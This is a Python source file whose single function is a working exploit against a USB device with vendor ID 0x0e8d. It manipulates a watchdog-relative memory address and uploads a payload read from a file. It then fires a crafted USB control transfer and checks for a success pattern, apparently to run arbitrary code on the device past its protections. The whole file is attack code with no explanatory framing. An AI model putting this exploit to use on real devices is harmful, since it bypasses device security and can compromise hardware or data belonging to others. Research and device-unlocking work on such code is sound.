import usb

from src.common import to_bytes


def exploit(device, watchdog_address, var_0, var_1, payload):
    addr = watchdog_address + 0x50

    device.write32(addr, [0xA1000])  # 0x00100A00
    readl = var_0 + 0x4
    device.read32(addr - var_0, readl // 4)
    device.write32(addr, 0)

    device.echo(0xE0)

    payload = open(payload, "rb").read()

    while len(payload) % 4 != 0:
        payload += to_bytes(0)
    device.echo(len(payload), 4)

    # clear 2 bytes
    device.read(2)

    if len(payload) >= 0xA00:
        raise RuntimeError("payload too large")

    device.write(payload)

    # clear 4 bytes
    device.read(4)

    udev = usb.core.find(idVendor=0x0e8d, idProduct=0x3)
    # noinspection PyProtectedMember
    udev._ctx.managed_claim_interface = lambda *args, **kwargs: None

    try:
        udev.ctrl_transfer(0xA1, 0, 0, var_1, 0)
    except usb.core.USBError as e:
        print(e)

    pattern = device.read(4)
    if pattern != to_bytes(0xA1A2A3A4, 4):
        raise RuntimeError("received {} instead of expected pattern".format(pattern.hex()))